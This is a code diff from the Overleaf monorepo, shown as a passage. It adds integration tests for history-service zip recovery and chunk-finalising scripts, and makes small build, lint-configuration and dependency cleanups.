zipPath,
|
||||||
|
'--mode=raw',
|
||||||
|
])
|
||||||
|
|
||||||
|
// Verify the zip file is valid
|
||||||
|
const { stdout } = await promisify(execFile)('unzip', ['-l', zipPath], {
|
||||||
|
encoding: 'utf-8',
|
||||||
|
})
|
||||||
|
|
||||||
|
// Raw mode includes chunk and blob keys
|
||||||
|
// Verify chunks are present
|
||||||
|
expect(stdout).to.include('chunk.json')
|
||||||
|
|
||||||
|
// Verify blob hashes are present (hashes are stored as {hash[0:2]}/{hash[2:]})
|
||||||
|
expect(stdout).to.include(testFiles.GRAPH_PNG_HASH.slice(2))
|
||||||
|
expect(stdout).to.include(testFiles.NON_BMP_TXT_HASH.slice(2))
|
||||||
|
} finally {
|
||||||
|
await fs.promises.unlink(zipPath).catch(() => {})
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
it('can recover zip file from backup in latest mode', async function () {
|
||||||
|
// First, run backup so data is available
|
||||||
|
await runBackupScript(['--projectId', projectId])
|
||||||
|
|
||||||
|
const zipPath = `/tmp/test-recover-latest-${historyId}.zip`
|
||||||
|
try {
|
||||||
|
await runRecoverZipFromBackupScript([
|
||||||
|
'--historyId',
|
||||||
|
historyId,
|
||||||
|
'--output',
|
||||||
|
zipPath,
|
||||||
|
'--mode=latest',
|
||||||
|
])
|
||||||
|
|
||||||
|
// Verify the zip file is valid
|
||||||
|
const { stdout } = await promisify(execFile)('unzip', ['-l', zipPath], {
|
||||||
|
encoding: 'utf-8',
|
||||||
|
})
|
||||||
|
|
||||||
|
// Latest mode includes the project files
|
||||||
|
expect(stdout).to.include('main.tex')
|
||||||
|
expect(stdout).to.include('chapter1.tex')
|
||||||
|
expect(stdout).to.include('chapter2.tex')
|
||||||
|
expect(stdout).to.include('bibliography.bib')
|
||||||
|
expect(stdout).to.include('graph.png')
|
||||||
|
expect(stdout).to.include('unicodeFile.tex')
|
||||||
|
} finally {
|
||||||
|
await fs.promises.unlink(zipPath).catch(() => {})
|
||||||
|
}
|
||||||
|
})
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -683,3 +745,37 @@ async function runBackupScript(args) {
|
|||||||
}
|
}
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run the recover_zip_from_backup script with given arguments
|
||||||
|
* @param {string[]} args
|
||||||
|
*/
|
||||||
|
async function runRecoverZipFromBackupScript(args) {
|
||||||
|
const TIMEOUT = 30 * 1000
|
||||||
|
let result
|
||||||
|
try {
|
||||||
|
result = await promisify(execFile)(
|
||||||
|
'node',
|
||||||
|
['storage/scripts/recover_zip_from_backup.mjs', ...args],
|
||||||
|
{
|
||||||
|
encoding: 'utf-8',
|
||||||
|
timeout: TIMEOUT,
|
||||||
|
env: {
|
||||||
|
...process.env,
|
||||||
|
LOG_LEVEL: 'debug',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
)
|
||||||
|
result.status = 0
|
||||||
|
} catch (err) {
|
||||||
|
const { stdout, stderr, code } = err
|
||||||
|
if (typeof code !== 'number') {
|
||||||
|
console.log(err)
|
||||||
|
}
|
||||||
|
result = { stdout, stderr, status: code }
|
||||||
|
}
|
||||||
|
if (result.status !== 0) {
|
||||||
|
throw new Error(`recover_zip_from_backup failed: ${result.stderr}`)
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,205 @@
|
|||||||
|
'use strict'
|
||||||
|
|
||||||
|
const { promisify } = require('node:util')
|
||||||
|
const { execFile } = require('node:child_process')
|
||||||
|
const { expect } = require('chai')
|
||||||
|
const {
|
||||||
|
Change,
|
||||||
|
AddFileOperation,
|
||||||
|
EditFileOperation,
|
||||||
|
TextOperation,
|
||||||
|
File,
|
||||||
|
} = require('overleaf-editor-core')
|
||||||
|
const cleanup = require('./support/cleanup')
|
||||||
|
const fixtures = require('./support/fixtures')
|
||||||
|
const { setupProjectState } = require('./support/redis')
|
||||||
|
const chunkStore = require('../../../../storage/lib/chunk_store')
|
||||||
|
const persistChanges = require('../../../../storage/lib/persist_changes')
|
||||||
|
const knex = require('../../../../storage/lib/knex')
|
||||||
|
|
||||||
|
const SCRIPT_PATH = 'storage/scripts/finalise_chunk.mjs'
|
||||||
|
|
||||||
|
async function runScript(args) {
|
||||||
|
try {
|
||||||
|
const result = await promisify(execFile)('node', [SCRIPT_PATH, ...args], {
|
||||||
|
encoding: 'utf-8',
|
||||||
|
timeout: 10000,
|
||||||
|
env: { ...process.env, LOG_LEVEL: 'debug' },
|
||||||
|
})
|
||||||
|
return { ...result, status: 0 }
|
||||||
|
} catch (err) {
|
||||||
|
if (typeof err.code !== 'number') {
|
||||||
|
throw err
|
||||||
|
}
|
||||||
|
return { stdout: err.stdout, stderr: err.stderr, status: err.code }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function getChunkRows(projectId) {
|
||||||
|
return await knex('chunks')
|
||||||
|
.select('id', 'start_version', 'end_version', 'closed')
|
||||||
|
.where('doc_id', parseInt(projectId, 10))
|
||||||
|
.orderBy('end_version')
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('finalise_chunk script', function () {
|
||||||
|
before(cleanup.everything)
|
||||||
|
|
||||||
|
let limitsToPersistImmediately
|
||||||
|
before(function () {
|
||||||
|
const farFuture = new Date()
|
||||||
|
farFuture.setTime(farFuture.getTime() + 7 * 24 * 3600 * 1000)
|
||||||
|
limitsToPersistImmediately = {
|
||||||
|
minChangeTimestamp: farFuture,
|
||||||
|
maxChangeTimestamp: farFuture,
|
||||||
|
maxChunkChanges: 100,
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
beforeEach(async function () {
|
||||||
|
await cleanup.everything()
|
||||||
|
await fixtures.create()
|
||||||
|
})
|
||||||
|
|
||||||
|
describe('with a populated current chunk', function () {
|
||||||
|
let projectId
|
||||||
|
let initialContent
|
||||||
|
let initialEndVersion
|
||||||
|
let initialChunkId
|
||||||
|
|
||||||
|
beforeEach(async function () {
|
||||||
|
projectId = await chunkStore.initializeProject()
|
||||||
|
initialContent = 'Hello world.'
|
||||||
|
const change1 = new Change(
|
||||||
|
[new AddFileOperation('main.tex', File.fromString(initialContent))],
|
||||||
|
new Date(Date.now() - 30000),
|
||||||
|
[]
|
||||||
|
)
|
||||||
|
const change2 = new Change(
|
||||||
|
[
|
||||||
|
new EditFileOperation(
|
||||||
|
'main.tex',
|
||||||
|
new TextOperation().retain(initialContent.length).insert(' More.')
|
||||||
|
),
|
||||||
|
],
|
||||||
|
new Date(Date.now() - 20000),
|
||||||
|
[]
|
||||||
|
)
|
||||||
|
await persistChanges(
|
||||||
|
projectId,
|
||||||
|
[change1, change2],
|
||||||
|
limitsToPersistImmediately,
|
||||||
|
0
|
||||||
|
)
|
||||||
|
const metadata = await chunkStore.getLatestChunkMetadata(projectId)
|
||||||
|
initialEndVersion = metadata.endVersion
|
||||||
|
initialChunkId = metadata.id
|
||||||
|
expect(initialEndVersion).to.equal(2)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('closes the current chunk and creates a new empty chunk', async function () {
|
||||||
|
const result = await runScript(['--historyId', projectId])
|
||||||
|
expect(result.status, result.stderr).to.equal(0)
|
||||||
|
|
||||||
|
const rows = await getChunkRows(projectId)
|
||||||
|
expect(rows).to.have.length(2)
|
||||||
|
|
||||||
|
const oldRow = rows.find(r => r.id.toString() === initialChunkId)
|
||||||
|
expect(oldRow, 'old chunk still in DB').to.exist
|
||||||
|
expect(oldRow.closed).to.equal(true)
|
||||||
|
expect(oldRow.end_version).to.equal(initialEndVersion)
|
||||||
|
|
||||||
|
const newRow = rows.find(r => r.id.toString() !== initialChunkId)
|
||||||
|
expect(newRow, 'new chunk inserted').to.exist
|
||||||
|
expect(newRow.start_version).to.equal(initialEndVersion)
|
||||||
|
expect(newRow.end_version).to.equal(initialEndVersion + 1)
|
||||||
|
expect(newRow.closed).to.equal(false)
|
||||||
|
|
||||||
|
const newChunk = await chunkStore.loadLatest(projectId, {
|
||||||
|
persistedOnly: true,
|
||||||
|
})
|
||||||
|
expect(newChunk.getStartVersion()).to.equal(initialEndVersion)
|
||||||
|
expect(newChunk.getEndVersion()).to.equal(initialEndVersion + 1)
|
||||||
|
// The new chunk holds a single NoOperation change as a placeholder so
|
||||||
|
// its end_version is distinct from the closed chunk's end_version.
|
||||||
|
expect(newChunk.getChanges()).to.have.length(1)
|
||||||
|
|
||||||
|
const newSnapshot = newChunk.getSnapshot()
|
||||||
|
const file = newSnapshot.getFile('main.tex')
|
||||||
|
expect(file, 'main.tex carried over to new chunk snapshot').to.exist
|
||||||
|
})
|
||||||
|
|
||||||
|
it('does not modify state on a dry-run', async function () {
|
||||||
|
const result = await runScript(['--historyId', projectId, '--dry-run'])
|
||||||
|
expect(result.status, result.stderr).to.equal(0)
|
||||||
|
|
||||||
|
const rows = await getChunkRows(projectId)
|
||||||
|
expect(rows).to.have.length(1)
|
||||||
|
expect(rows[0].id.toString()).to.equal(initialChunkId)
|
||||||
|
expect(rows[0].closed).to.equal(false)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
describe('safety checks', function () {
|
||||||
|
it('refuses to act on an already-empty current chunk', async function () {
|
||||||
|
const projectId = await chunkStore.initializeProject()
|
||||||
|
|
||||||
|
const result = await runScript(['--historyId', projectId])
|
||||||
|
expect(result.status).to.not.equal(0)
|
||||||
|
expect(result.stdout + result.stderr).to.match(/already empty/)
|
||||||
|
|
||||||
|
const rows = await getChunkRows(projectId)
|
||||||
|
expect(rows).to.have.length(1)
|
||||||
|
expect(rows[0].start_version).to.equal(0)
|
||||||
|
expect(rows[0].end_version).to.equal(0)
|
||||||
|
expect(rows[0].closed).to.equal(false)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('refuses when there are non-persisted changes in redis', async function () {
|
||||||
|
const projectId = await chunkStore.initializeProject()
|
||||||
|
const initialContent = 'Initial.'
|
||||||
|
const initialChange = new Change(
|
||||||
|
[new AddFileOperation('main.tex', File.fromString(initialContent))],
|
||||||
|
new Date(Date.now() - 30000),
|
||||||
|
[]
|
||||||
|
)
|
||||||
|
await persistChanges(
|
||||||
|
projectId,
|
||||||
|
[initialChange],
|
||||||
|
limitsToPersistImmediately,
|
||||||
|
0
|
||||||
|
)
|
||||||
|
const metadata = await chunkStore.getLatestChunkMetadata(projectId)
|
||||||
|
const initialChunkId = metadata.id
|
||||||
|
|
||||||
|
const bufferedChange = new Change(
|
||||||
|
[
|
||||||
|
new EditFileOperation(
|
||||||
|
'main.tex',
|
||||||
|
new TextOperation()
|
||||||
|
.retain(initialContent.length)
|
||||||
|
.insert(' Buffered.')
|
||||||
|
),
|
||||||
|
],
|
||||||
|
new Date(Date.now() - 10000),
|
||||||
|
[]
|
||||||
|
)
|
||||||
|
await setupProjectState(projectId, {
|
||||||
|
persistTime: Date.now() - 1000,
|
||||||
|
headVersion: 2,
|
||||||
|
persistedVersion: 1,
|
||||||
|
changes: [bufferedChange],
|
||||||
|
expireTimeFuture: true,
|
||||||
|
})
|
||||||
|
|
||||||
|
const result = await runScript(['--historyId', projectId])
|
||||||
|
expect(result.status).to.not.equal(0)
|
||||||
|
expect(result.stdout + result.stderr).to.match(/non-persisted/)
|
||||||
|
|
||||||
|
const rows = await getChunkRows(projectId)
|
||||||
|
expect(rows).to.have.length(1)
|
||||||
|
expect(rows[0].id.toString()).to.equal(initialChunkId)
|
||||||
|
expect(rows[0].closed).to.equal(false)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -0,0 +1,169 @@
|
|||||||
|
import { expect } from 'chai'
|
||||||
|
import config from 'config'
|
||||||
|
import { execFile } from 'node:child_process'
|
||||||
|
import fs from 'node:fs'
|
||||||
|
import { promisify } from 'node:util'
|
||||||
|
import { Change, Operation, File, TextOperation } from 'overleaf-editor-core'
|
||||||
|
// We depend on this via object-persistor.
|
||||||
|
// eslint-disable-next-line import/no-extraneous-dependencies
|
||||||
|
import { Storage } from '@google-cloud/storage'
|
||||||
|
import {
|
||||||
|
loadGlobalBlobs,
|
||||||
|
BlobStore,
|
||||||
|
} from '../../../../storage/lib/blob_store/index.js'
|
||||||
|
import ChunkStore from '../../../../storage/lib/chunk_store/index.js'
|
||||||
|
import persistChanges from '../../../../storage/lib/persist_changes.js'
|
||||||
|
import testFiles from '../storage/support/test_files.js'
|
||||||
|
import cleanup from './support/cleanup.js'
|
||||||
|
import { getZipEntries } from './support/unzip.js'
|
||||||
|
|
||||||
|
describe('recover_zip script', function () {
|
||||||
|
let projectId
|
||||||
|
let limitsToPersistImmediately
|
||||||
|
|
||||||
|
before(async function () {
|
||||||
|
const farFuture = new Date()
|
||||||
|
farFuture.setTime(farFuture.getTime() + 7 * 24 * 3600 * 1000)
|
||||||
|
limitsToPersistImmediately = {
|
||||||
|
minChangeTimestamp: farFuture,
|
||||||
|
maxChangeTimestamp: farFuture,
|
||||||
|
maxChanges: 10,
|
||||||
|
maxChunkChanges: 10,
|
||||||
|
}
|
||||||
|
|
||||||
|
const gcsEndpoint = config.get('persistor.gcs.endpoint')
|
||||||
|
const storage = new Storage({
|
||||||
|
apiEndpoint: gcsEndpoint.apiEndpoint,
|
||||||
|
projectId: gcsEndpoint.projectId,
|
||||||
|
})
|
||||||
|
const bucketName = config.get('zipStore.bucket')
|
||||||
|
try {
|
||||||
|
const [exists] = await storage.bucket(bucketName).exists()
|
||||||
|
if (!exists) {
|
||||||
|
await storage.createBucket(bucketName)
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
if (err.code !== 409) throw err
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
beforeEach(cleanup.everything)
|
||||||
|
|
||||||
|
beforeEach(async function () {
|
||||||
|
await loadGlobalBlobs()
|
||||||
|
projectId = '123'
|
||||||
|
|
||||||
|
// Initialize the project in the chunk store
|
||||||
|
await ChunkStore.initializeProject(projectId)
|
||||||
|
|
||||||
|
const blobStore = new BlobStore(projectId)
|
||||||
|
|
||||||
|
// Upload binary file blob
|
||||||
|
await blobStore.putFile(testFiles.path('graph.png'))
|
||||||
|
|
||||||
|
// Create initial snapshot with text and binary files
|
||||||
|
const addMainTex = Operation.addFile(
|
||||||
|
'main.tex',
|
||||||
|
File.fromString('hello world')
|
||||||
|
)
|
||||||
|
const addGraphPng = Operation.addFile(
|
||||||
|
'graph.png',
|
||||||
|
File.fromHash(testFiles.GRAPH_PNG_HASH)
|
||||||
|
)
|
||||||
|
const change1 = new Change([addMainTex, addGraphPng], new Date(), [])
|
||||||
|
await persistChanges(projectId, [change1], limitsToPersistImmediately, 0)
|
||||||
|
|
||||||
|
// Add a text edit
|
||||||
|
const textOp = TextOperation.fromJSON({
|
||||||
|
textOperation: ['hello world'.length, ' more'],
|
||||||
|
})
|
||||||
|
const editOp = Operation.editFile('main.tex', textOp)
|
||||||
|
const change2 = new Change([editOp], new Date(), [])
|
||||||
|
await persistChanges(projectId, [change2], limitsToPersistImmediately, 1)
|
||||||
|
})
|
||||||
|
|
||||||
|
it('creates a valid zip from GCS data', async function () {
|
||||||
|
this.timeout(30 * 1000)
|
||||||
|
|
||||||
|
const zipPath = `/tmp/test-recover-zip-${projectId}.zip`
|
||||||
|
try {
|
||||||
|
const { stdout } = await runRecoverZipScript([projectId])
|
||||||
|
|
||||||
|
// The script logs the signed URL to stdout
|
||||||
|
const urlMatch = stdout.match(/(https?:\/\/[^\s]+)/)
|
||||||
|
expect(urlMatch).to.not.be.null
|
||||||
|
const signedUrl = urlMatch[1]
|
||||||
|
|
||||||
|
// Download the zip via fetch
|
||||||
|
const res = await fetch(signedUrl)
|
||||||
|
expect(res.ok).to.be.true
|
||||||
|
const buffer = await res.arrayBuffer()
|
||||||
|
await fs.promises.writeFile(zipPath, Buffer.from(buffer))
|
||||||
|
|
||||||
|
const zipEntries = await getZipEntries(zipPath)
|
||||||
|
const fileNames = zipEntries.map(e => e.fileName).sort()
|
||||||
|
|
||||||
|
expect(fileNames).to.deep.equal(['graph.png', 'main.tex'])
|
||||||
|
|
||||||
|
// Verify text content size (after edit)
|
||||||
|
const mainTexEntry = zipEntries.find(e => e.fileName === 'main.tex')
|
||||||
|
expect(mainTexEntry.uncompressedSize).to.equal('hello world more'.length)
|
||||||
|
|
||||||
|
// Verify binary content size
|
||||||
|
const graphEntry = zipEntries.find(e => e.fileName === 'graph.png')
|
||||||
|
expect(graphEntry.uncompressedSize).to.equal(
|
||||||
|
testFiles.GRAPH_PNG_BYTE_LENGTH
|
||||||
|
)
|
||||||
|
} finally {
|
||||||
|
await fs.promises.unlink(zipPath).catch(() => {})
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
it('supports the --verbose flag', async function () {
|
||||||
|
this.timeout(30 * 1000)
|
||||||
|
|
||||||
|
const { stdout } = await runRecoverZipScript(['--verbose', projectId])
|
||||||
|
|
||||||
|
// Verbose mode logs each file as it's added
|
||||||
|
expect(stdout).to.include('main.tex added')
|
||||||
|
expect(stdout).to.include('graph.png added')
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run the recover_zip.js script with given arguments
|
||||||
|
* @param {string[]} args
|
||||||
|
*/
|
||||||
|
async function runRecoverZipScript(args) {
|
||||||
|
const TIMEOUT = 30 * 1000
|
||||||
|
let result
|
||||||
|
try {
|
||||||
|
result = await promisify(execFile)(
|
||||||
|
'node',
|
||||||
|
['storage/scripts/recover_zip.js', ...args],
|
||||||
|
{
|
||||||
|
encoding: 'utf-8',
|
||||||
|
timeout: TIMEOUT,
|
||||||
|
env: {
|
||||||
|
...process.env,
|
||||||
|
LOG_LEVEL: 'debug',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
)
|
||||||
|
result.status = 0
|
||||||
|
} catch (err) {
|
||||||
|
const { stdout, stderr, code } = err
|
||||||
|
if (typeof code !== 'number') {
|
||||||
|
console.log(err)
|
||||||
|
}
|
||||||
|
result = { stdout, stderr, status: code }
|
||||||
|
}
|
||||||
|
if (result.status !== 0 || result.stderr) {
|
||||||
|
throw new Error(
|
||||||
|
`recover_zip failed (exit ${result.status}):\n` +
|
||||||
|
`stdout: ${result.stdout}\n` +
|
||||||
|
`stderr: ${result.stderr}`
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
@@ -55,6 +55,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -67,8 +71,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/notifications/reports:/overleaf/services/notifications/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/notifications/reports:/overleaf/services/notifications/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/notifications/reports:/overleaf/services/notifications/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/notifications/reports:/overleaf/services/notifications/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ import express, {
|
|||||||
type ErrorRequestHandler,
|
type ErrorRequestHandler,
|
||||||
type NextFunction,
|
type NextFunction,
|
||||||
} from 'express'
|
} from 'express'
|
||||||
import methodOverride from 'method-override'
|
|
||||||
import { mongoClient } from './app/js/mongodb.js'
|
import { mongoClient } from './app/js/mongodb.js'
|
||||||
import NotificationsController from './app/js/NotificationsController.ts'
|
import NotificationsController from './app/js/NotificationsController.ts'
|
||||||
import HealthCheckController from './app/js/HealthCheckController.ts'
|
import HealthCheckController from './app/js/HealthCheckController.ts'
|
||||||
@@ -25,7 +24,6 @@ logger.initialize('notifications')
|
|||||||
metrics.memory.monitor(logger)
|
metrics.memory.monitor(logger)
|
||||||
metrics.open_sockets.monitor()
|
metrics.open_sockets.monitor()
|
||||||
|
|
||||||
app.use(methodOverride())
|
|
||||||
app.use(express.json())
|
app.use(express.json())
|
||||||
app.use(metrics.http.monitor(logger))
|
app.use(metrics.http.monitor(logger))
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
notifications
|
notifications
|
||||||
--dependencies=mongo
|
--dependencies=mongo
|
||||||
|
--deploy-pipeline=notifications
|
||||||
--env-add=
|
--env-add=
|
||||||
--env-pass-through=
|
--env-pass-through=
|
||||||
--esmock-loader=False
|
--esmock-loader=False
|
||||||
|
|||||||
@@ -30,14 +30,12 @@
|
|||||||
"body-parser": "1.20.4",
|
"body-parser": "1.20.4",
|
||||||
"bunyan": "^1.8.15",
|
"bunyan": "^1.8.15",
|
||||||
"express": "4.22.1",
|
"express": "4.22.1",
|
||||||
"method-override": "^3.0.0",
|
|
||||||
"mongodb-legacy": "6.1.3",
|
"mongodb-legacy": "6.1.3",
|
||||||
"zod": "^4.1.7",
|
"zod": "^4.1.7",
|
||||||
"zod-validation-error": "^4.0.1"
|
"zod-validation-error": "^4.0.1"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@overleaf/migrations": "workspace:*",
|
"@overleaf/migrations": "workspace:*",
|
||||||
"@types/method-override": "^3.0.0",
|
|
||||||
"chai": "^4.3.6",
|
"chai": "^4.3.6",
|
||||||
"chai-as-promised": "^7.1.1",
|
"chai-as-promised": "^7.1.1",
|
||||||
"mocha": "^11.1.0",
|
"mocha": "^11.1.0",
|
||||||
|
|||||||
@@ -1 +0,0 @@
|
|||||||
app/lib/*.js
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
let reporterOptions = {}
|
let reporterOptions = {}
|
||||||
if (process.env.CI) {
|
if (process.env.CI) {
|
||||||
reporterOptions = {
|
reporterOptions = {
|
||||||
reporter: '/overleaf/node_modules/mocha-multi-reporters',
|
reporter: require.resolve('mocha-multi-reporters'),
|
||||||
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
'reporter-options': ['configFile=./test/mocha-multi-reporters.cjs'],
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -58,6 +58,10 @@ COMPOSE_PROJECT_NAME_TEST_UNIT ?= test_unit_$(BUILD_DIR_NAME)
|
|||||||
DOCKER_COMPOSE_TEST_UNIT = \
|
DOCKER_COMPOSE_TEST_UNIT = \
|
||||||
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
COMPOSE_PROJECT_NAME=$(COMPOSE_PROJECT_NAME_TEST_UNIT) $(DOCKER_COMPOSE)
|
||||||
|
|
||||||
|
.PHONY: print-branch-tag-safe
|
||||||
|
print-branch-tag-safe:
|
||||||
|
@echo $(BRANCH_NAME_TAG_SAFE)
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
-docker rmi $(IMAGE_CI)
|
-docker rmi $(IMAGE_CI)
|
||||||
-docker rmi $(IMAGE_REPO_FINAL)
|
-docker rmi $(IMAGE_REPO_FINAL)
|
||||||
@@ -70,8 +74,8 @@ clean:
|
|||||||
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
RUN_LINTING = ../../bin/run -w /overleaf/services/$(PROJECT_NAME) monorepo yarn run --silent
|
||||||
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
RUN_LINTING_MONOREPO = ../../bin/run monorepo yarn run --silent
|
||||||
|
|
||||||
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/app/js/types.ts:/overleaf/services/document-updater/app/js/types.ts --volume $(MONOREPO)/services/project-history/reports:/overleaf/services/project-history/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/app/js/types.ts:/overleaf/services/document-updater/app/js/types.ts --volume $(MONOREPO)/services/project-history/reports:/overleaf/services/project-history/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache $(IMAGE_CI) yarn run --silent
|
||||||
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/.eslintignore:/overleaf/.eslintignore --volume $(MONOREPO)/.eslintrc:/overleaf/.eslintrc --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc:/overleaf/.prettierrc --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/app/js/types.ts:/overleaf/services/document-updater/app/js/types.ts --volume $(MONOREPO)/services/project-history/reports:/overleaf/services/project-history/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
RUN_LINTING_CI_MONOREPO = docker run --rm --volume $(MONOREPO)/.editorconfig:/overleaf/.editorconfig --volume $(MONOREPO)/eslint.config.mjs:/overleaf/eslint.config.mjs --volume $(MONOREPO)/.prettierignore:/overleaf/.prettierignore --volume $(MONOREPO)/.prettierrc.cjs:/overleaf/.prettierrc.cjs --volume $(MONOREPO)/tsconfig.backend.json:/overleaf/tsconfig.backend.json --volume $(MONOREPO)/services/document-updater/app/js/types.ts:/overleaf/services/document-updater/app/js/types.ts --volume $(MONOREPO)/services/project-history/reports:/overleaf/services/project-history/reports --volume $(MONOREPO)/node_modules/.cache:/overleaf/node_modules/.cache -w /overleaf $(IMAGE_CI) yarn run --silent
|
||||||
|
|
||||||
SHELLCHECK_OPTS = \
|
SHELLCHECK_OPTS = \
|
||||||
--shell=bash \
|
--shell=bash \
|
||||||
